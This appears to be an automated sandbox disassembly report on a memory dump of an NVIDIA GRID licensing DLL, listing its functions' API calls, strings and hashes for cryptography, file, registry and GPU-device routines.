Failed to allocate memory, xrefs: 00007FF8A8D7D18D, 00007FF8A8D7D648
ObjectLength, xrefs: 00007FF8A8D7D04B

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$_invalid_parameter_noinfo_noreturn$Heap$Crypt$AllocFreeLibraryProcess$AlgorithmErrorExportFormatInit_thread_footerLastLoadLocalMessageOpenPropertyProvider
String ID: AES$ChainingMode$ChainingModeGCM$Failed to allocate memory$Failed to export symmetric key (0x%x) - (%s)$Failed to generate key (0x%x) - (%s)$Failed to get the size of object (0x%x) - (%s)$Failed to open algorithm handle (0x%x) - (%s)$Failed to set cryptographic properties (0x%x) - (%s)$GridCloudLicensingCryptoWindows.cpp$ObjectLength$OpaqueKeyBlob$generateSymmetricKey
API String ID: 2962806294-91064389
Opcode ID: 0751dc3b6b54d79f71330d7578975599d75caf2de5ae8520f0dbc996185db319
Instruction ID: c0719f40c6d51645ecf7d4b4e1493563fba0e5eee26e9deb60db9e3d99de5021
Opcode Fuzzy Hash: 0751dc3b6b54d79f71330d7578975599d75caf2de5ae8520f0dbc996185db319
Instruction Fuzzy Hash: 45420E32A09B42E9EB10DB60E4406DD77B8FB44398F900136DA8D53B69EF7CE259CB54

Function 00007FF8A8CFA83C Relevance: 44.0, APIs: 18, Strings: 7, Instructions: 209libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF8A8CFA88D
LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFA9FD
GetLastError.KERNEL32 ref: 00007FF8A8CFAA0F
LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFAA2E
GetLastError.KERNEL32 ref: 00007FF8A8CFAA40
LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFAA5F
LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFAA76
GetLastError.KERNEL32 ref: 00007FF8A8CFAA88
LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFAAA7
GetLastError.KERNEL32 ref: 00007FF8A8CFAAB9
LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFAAD8
GetLastError.KERNEL32 ref: 00007FF8A8CFAAEA
LocalFree.KERNEL32 ref: 00007FF8A8CFAB04
LocalFree.KERNEL32 ref: 00007FF8A8CFAB0D
LocalFree.KERNEL32 ref: 00007FF8A8CFAB16
LocalFree.KERNEL32 ref: 00007FF8A8CFAB1F
LocalFree.KERNEL32 ref: 00007FF8A8CFAB28
LocalFree.KERNEL32 ref: 00007FF8A8CFAB33

Strings

\mfpmp.exe, xrefs: 00007FF8A8CFA8A1, 00007FF8A8CFA8D5
msasn1.dll, xrefs: 00007FF8A8CFA941, 00007FF8A8CFA952
drvstore.dll, xrefs: 00007FF8A8CFA9B3, 00007FF8A8CFA9C4
wldp.dll, xrefs: 00007FF8A8CFA995, 00007FF8A8CFA9A3
cryptbase.dll, xrefs: 00007FF8A8CFA979, 00007FF8A8CFA98A
cryptnet.dll, xrefs: 00007FF8A8CFA95D, 00007FF8A8CFA96E
devobj.dll, xrefs: 00007FF8A8CFA9CF, 00007FF8A8CFA9E0

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: FreeLibraryLoadLocal$ErrorLast$FileModuleName
String ID: \mfpmp.exe$cryptbase.dll$cryptnet.dll$devobj.dll$drvstore.dll$msasn1.dll$wldp.dll
API String ID: 2075666388-3852175644
Opcode ID: 5b3b243193d4b28ed12cc47018abf45ed49fbc8cec7d705be69abaea25e175cb
Instruction ID: ab862890c56d4a8aa6c55a0bfecdd67ee3878973e90dd5669defc96ce67b2d41
Opcode Fuzzy Hash: 5b3b243193d4b28ed12cc47018abf45ed49fbc8cec7d705be69abaea25e175cb
Instruction Fuzzy Hash: EF915B34A0FB43F2FBA0DB15A850175A2A0FF48BC4F554539C85E42660EFBDF9649A38

Function 00007FF8A8D7C3D0 Relevance: 42.4, APIs: 13, Strings: 11, Instructions: 439memoryCOMMON

Download Yara Rule

APIs

BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF8A8D7C46E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7C4A7
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7C5DE
GetProcessHeap.KERNEL32 ref: 00007FF8A8D7C6BB
HeapAlloc.KERNEL32 ref: 00007FF8A8D7C6C9
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7C6EE

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7C80A
GetProcessHeap.KERNEL32 ref: 00007FF8A8D7CB18
HeapFree.KERNEL32 ref: 00007FF8A8D7CB26
BCryptDestroyHash.BCRYPT ref: 00007FF8A8D7CB35
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF8A8D7CB49

Strings

Failed to create hash object (0x%x) - (%s), xrefs: 00007FF8A8D7C7F7
z, xrefs: 00007FF8A8D7C9E4
Failed to perform hash on data buffer (0x%x) - (%s), xrefs: 00007FF8A8D7C918
Failed to open algorithm handle (0x%x) - (%s), xrefs: 00007FF8A8D7C494
GridCloudLicensingCryptoWindows.cpp, xrefs: 00007FF8A8D7C4E4, 00007FF8A8D7C619, 00007FF8A8D7C729, 00007FF8A8D7C845, 00007FF8A8D7C966, 00007FF8A8D7CA73
Failed to generate final hash on the data buffer (0x%x) - (%s), xrefs: 00007FF8A8D7CA25
HashDigestLength, xrefs: 00007FF8A8D7C59A
Failed to allocate memory, xrefs: 00007FF8A8D7C6DB
computeHash, xrefs: 00007FF8A8D7C50A, 00007FF8A8D7C640, 00007FF8A8D7C750, 00007FF8A8D7C86C, 00007FF8A8D7C98D, 00007FF8A8D7CA9A
SHA256, xrefs: 00007FF8A8D7C463
Failed to get the size of object (0x%x) - (%s), xrefs: 00007FF8A8D7C5CB

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Heapswprintf$Crypt$AlgorithmProcessProvider$AllocCloseDestroyFreeHashInit_thread_footerOpen
String ID: Failed to allocate memory$Failed to create hash object (0x%x) - (%s)$Failed to generate final hash on the data buffer (0x%x) - (%s)$Failed to get the size of object (0x%x) - (%s)$Failed to open algorithm handle (0x%x) - (%s)$Failed to perform hash on data buffer (0x%x) - (%s)$GridCloudLicensingCryptoWindows.cpp$HashDigestLength$SHA256$computeHash$z
API String ID: 3126380757-3389556609
Opcode ID: b059ba0a22e368afd7ffbfb9dcf22721acfcdc026d5598ebe77179670a913cd6
Instruction ID: 86fdbabcc1ad23f813ec594207a47b10eafa3e09e8791a45049db9e7b8fce3b0
Opcode Fuzzy Hash: b059ba0a22e368afd7ffbfb9dcf22721acfcdc026d5598ebe77179670a913cd6
Instruction Fuzzy Hash: C2221E32A09B42A9FB10DB60E4406ED77B4FB84398F500236DA9C53B69EF3CE659C754

Function 00007FF8A8CFFA78 Relevance: 40.8, APIs: 17, Strings: 6, Instructions: 554registrystringlibraryCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFAFD
lstrcmpiW.KERNEL32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFB1A
lstrcmpiW.KERNEL32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFB8F
lstrcmpiW.KERNEL32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFC09
lstrcmpiW.KERNEL32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFC38
RegDeleteValueW.ADVAPI32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFCFA
RegCloseKey.ADVAPI32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFD13
GetModuleHandleW.KERNEL32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFDD3
GetProcAddress.KERNEL32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFDF2
RegCloseKey.ADVAPI32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8CFFEA5
RegQueryInfoKeyW.ADVAPI32 ref: 00007FF8A8D000D2
lstrcmpiW.KERNEL32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8D000F9
RegQueryInfoKeyW.ADVAPI32 ref: 00007FF8A8D00171
RegCloseKey.ADVAPI32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8D0019A
RegCloseKey.ADVAPI32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8D0020F
RegCloseKey.ADVAPI32(?,?,00000000,?,00007FF8A8CFF9FF,?,00000000,?,?,00000000,00000000,?,00007FF8A8CFEBC1), ref: 00007FF8A8D00276

Strings

NoRemove, xrefs: 00007FF8A8CFFBFF
Delete, xrefs: 00007FF8A8CFFAF3
RegCreateKeyTransactedW, xrefs: 00007FF8A8CFFDE8
Advapi32.dll, xrefs: 00007FF8A8CFFDCC
ForceRemove, xrefs: 00007FF8A8CFFB10
Val, xrefs: 00007FF8A8CFFC2E

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: lstrcmpi$Close$InfoQuery$AddressDeleteHandleModuleProcValue
String ID: Advapi32.dll$Delete$ForceRemove$NoRemove$RegCreateKeyTransactedW$Val
API String ID: 1125866879-2283023311
Opcode ID: a81cd6ff42175f36a570d7155600b032d25fbc0e0051d893f1f2f01bd3fe8d14
Instruction ID: 5009b1dcf0de34444c93ee0f7dfe29668c2cc5618bf03ccb7ab8c6775c66ef65
Opcode Fuzzy Hash: a81cd6ff42175f36a570d7155600b032d25fbc0e0051d893f1f2f01bd3fe8d14
Instruction Fuzzy Hash: 08329231F0EB42A6FB549B66A85017D66B5EF847C4F104036DA4E87A98EF7CEC44CB18

Function 00007FF8A8D72E90 Relevance: 39.0, APIs: 15, Strings: 7, Instructions: 530filetimeCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?,00007FF8A8D73E60,?,?,00007FF8A8D747A1,00000000,?,?,00000080,00000013,00000000,00000000,?,?,00007FF8A8D2EA05), ref: 00007FF8A8D7318F
CompareFileTime.KERNEL32(?,?,00007FF8A8D73E60,?,?,00007FF8A8D747A1,00000000,?,?,00000080,00000013,00000000,00000000,?,?,00007FF8A8D2EA05), ref: 00007FF8A8D733F7
FindNextFileW.KERNEL32(?,?,00007FF8A8D73E60,?,?,00007FF8A8D747A1,00000000,?,?,00000080,00000013,00000000,00000000,?,?,00007FF8A8D2EA05), ref: 00007FF8A8D7348B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D73496
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7349C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D734A2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D734A8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D734C1
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D735B7
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D72F2B

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D73059
FindFirstFileW.KERNEL32(00000000,00000000,?,?,?,00007FF8A8D73E60,?,?,00007FF8A8D747A1,00000000,?,?,00000080,00000013,00000000,00000000), ref: 00007FF8A8D73069
GetLastError.KERNEL32(?,?,00007FF8A8D73E60,?,?,00007FF8A8D747A1,00000000,?,?,00000080,00000013,00000000,00000000,?,?,00007FF8A8D2EA05), ref: 00007FF8A8D7307E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7309E
FindClose.KERNEL32(?,?,00007FF8A8D73E60,?,?,00007FF8A8D747A1,00000000,?,?,00000080,00000013,00000000,00000000,?,?,00007FF8A8D2EA05), ref: 00007FF8A8D73690

Strings

Maximum buffer size exceeded, xrefs: 00007FF8A8D734AE
Unable to open directory %s (%d), xrefs: 00007FF8A8D7308B
%hs\*.*, xrefs: 00007FF8A8D73046
GridCommonUtils.cpp, xrefs: 00007FF8A8D72F65, 00007FF8A8D730DA, 00007FF8A8D734FB, 00007FF8A8D735F1
Failed to allocate memory, xrefs: 00007FF8A8D72F18
Maximum number of files reached, xrefs: 00007FF8A8D735A4
getFileFromDirectory, xrefs: 00007FF8A8D72F8D, 00007FF8A8D73104, 00007FF8A8D73522, 00007FF8A8D73618

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$FileFind_invalid_parameter_noinfo_noreturn$Next$CloseCompareErrorFirstInit_thread_footerLastTime
String ID: %hs\*.*$Failed to allocate memory$GridCommonUtils.cpp$Maximum buffer size exceeded$Maximum number of files reached$Unable to open directory %s (%d)$getFileFromDirectory
API String ID: 566297033-2797159653
Opcode ID: 95e9fa77f29442ae51123867474ab5d9699e355270a74feb44b2d9aedd89110e
Instruction ID: e7bb7da2b5c1391b3602567f7a7632a6e3743b6ccb444b4c2695be2fa22b736e
Opcode Fuzzy Hash: 95e9fa77f29442ae51123867474ab5d9699e355270a74feb44b2d9aedd89110e
Instruction Fuzzy Hash: CF426F32A0AB82A9EB14DB60E4403ED77A4FB443C8F801136EA5D53BA9EF7CD549C714

Function 00007FF8A8CFDCBC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 202registrystringCOMMON

Download Yara Rule

APIs

WTSGetActiveConsoleSessionId.KERNEL32 ref: 00007FF8A8CFDCFB
WTSEnumerateSessionsW.WTSAPI32 ref: 00007FF8A8CFDD33
WTSFreeMemory.WTSAPI32 ref: 00007FF8A8CFDD7F
WTSQueryUserToken.WTSAPI32 ref: 00007FF8A8CFDD94
GetLastError.KERNEL32 ref: 00007FF8A8CFDD9E
SetupDiGetClassDevsW.SETUPAPI ref: 00007FF8A8CFDDC6
GetLastError.KERNEL32 ref: 00007FF8A8CFDDD5
SetupDiGetDeviceInstanceIdW.SETUPAPI ref: 00007FF8A8CFDE1E
GetLastError.KERNEL32 ref: 00007FF8A8CFDE28
StrStrIW.SHLWAPI ref: 00007FF8A8CFDE41
SetupDiGetDeviceRegistryPropertyW.SETUPAPI ref: 00007FF8A8CFDE85
lstrcmpiW.KERNEL32 ref: 00007FF8A8CFDEA2
CM_Get_DevNode_Status.SETUPAPI ref: 00007FF8A8CFDECB
SetupDiOpenDevRegKey.SETUPAPI ref: 00007FF8A8CFDF1F
RegCloseKey.ADVAPI32 ref: 00007FF8A8CFDF97
SetupDiEnumDeviceInfo.SETUPAPI ref: 00007FF8A8CFDFAA
SetupDiDestroyDeviceInfoList.SETUPAPI ref: 00007FF8A8CFDFBB
CloseHandle.KERNEL32 ref: 00007FF8A8CFDFC4

Strings

nvlddmkm, xrefs: 00007FF8A8CFDE8F
?, xrefs: 00007FF8A8CFDEF5
ven_10de, xrefs: 00007FF8A8CFDE33

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Setup$Device$ErrorLast$CloseInfo$ActiveClassConsoleDestroyDevsEnumEnumerateFreeGet_HandleInstanceListMemoryNode_OpenPropertyQueryRegistrySessionSessionsStatusTokenUserlstrcmpi
String ID: ?$nvlddmkm$ven_10de
API String ID: 3270881034-1305278625
Opcode ID: eb7af57e16ea19afebeb06d5aa828590df456eb448458f8206ee469e4c390acf
Instruction ID: 2d5d64ce3ec9860c0c3b8b09aae33b86d3b8bf5f8cc95ffc7d912841cc44555e
Opcode Fuzzy Hash: eb7af57e16ea19afebeb06d5aa828590df456eb448458f8206ee469e4c390acf
Instruction Fuzzy Hash: 6491B336A09B42A6FB509F21E8046AA77A0FB85BD4F444131DF5D03A98DF7CE908CB14

Function 00007FF8A8D7CB80 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 198librarywindowCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FF8A8D7CBD5
GetLastError.KERNEL32 ref: 00007FF8A8D7CBE7
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7CC00

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

FormatMessageW.KERNEL32 ref: 00007FF8A8D7CCF3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CD81
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CD90
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CD9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CDAB
LocalFree.KERNEL32 ref: 00007FF8A8D7CE1B
FreeLibrary.KERNEL32 ref: 00007FF8A8D7CE24
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE49
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE58
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE67
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE73

Strings

GridCloudLicensingCryptoWindows.cpp, xrefs: 00007FF8A8D7CC39
NTDLL.DLL, xrefs: 00007FF8A8D7CBCE
Failed to load ntdll library (%d), xrefs: 00007FF8A8D7CBF0
displayError, xrefs: 00007FF8A8D7CC5F

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FreeLibrary$ErrorFormatInit_thread_footerLastLoadLocalMessageswprintf
String ID: Failed to load ntdll library (%d)$GridCloudLicensingCryptoWindows.cpp$NTDLL.DLL$displayError
API String ID: 493128418-3483970641
Opcode ID: 84a4afb11369bb0699246fdfb17eaa0a2dcfdd60ede8118076655972b869c54a
Instruction ID: bc9b3cd0430cce7c6da11c846aadb0afb2c99b1df81c04b6f16e4a25467d63dd
Opcode Fuzzy Hash: 84a4afb11369bb0699246fdfb17eaa0a2dcfdd60ede8118076655972b869c54a
Instruction Fuzzy Hash: 0B919D32A0AB42A9EB109B60E4443ED3BB0EB447D8F500535DA6D13BA9DF3CE599C758

Function 00007FF8A8CFBCB8 Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 224memorylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8CFC740: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFC784
Part of subcall function 00007FF8A8CFC740: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFC7AE

GetFileAttributesW.KERNEL32 ref: 00007FF8A8CFBD37
LocalAlloc.KERNEL32 ref: 00007FF8A8CFBD5D
SetLastError.KERNEL32 ref: 00007FF8A8CFBD84
SetLastError.KERNEL32 ref: 00007FF8A8CFBDAC
SetLastError.KERNEL32 ref: 00007FF8A8CFBDC3

Part of subcall function 00007FF8A8CFB514: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB5C6
Part of subcall function 00007FF8A8CFB514: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB5F6
Part of subcall function 00007FF8A8CFB514: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB62F
Part of subcall function 00007FF8A8CFB514: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB679

GetProcAddress.KERNEL32 ref: 00007FF8A8CFBE08
GetProcAddress.KERNEL32 ref: 00007FF8A8CFBE38
GetProcAddress.KERNEL32 ref: 00007FF8A8CFBE68
LocalAlloc.KERNEL32 ref: 00007FF8A8CFBEF6
LocalAlloc.KERNEL32 ref: 00007FF8A8CFBF8D
LocalFree.KERNEL32 ref: 00007FF8A8CFBFF9
LocalFree.KERNEL32 ref: 00007FF8A8CFC002
SetLastError.KERNEL32 ref: 00007FF8A8CFC02D

Strings

Setupapi.dll, xrefs: 00007FF8A8CFBDD9
SetupDiGetDevicePropertyW, xrefs: 00007FF8A8CFBDFE
SetupGetInfDriverStoreLocationW, xrefs: 00007FF8A8CFBE2E
SetupDiDestroyDeviceInfoList, xrefs: 00007FF8A8CFBE5E

Memory Dump Source

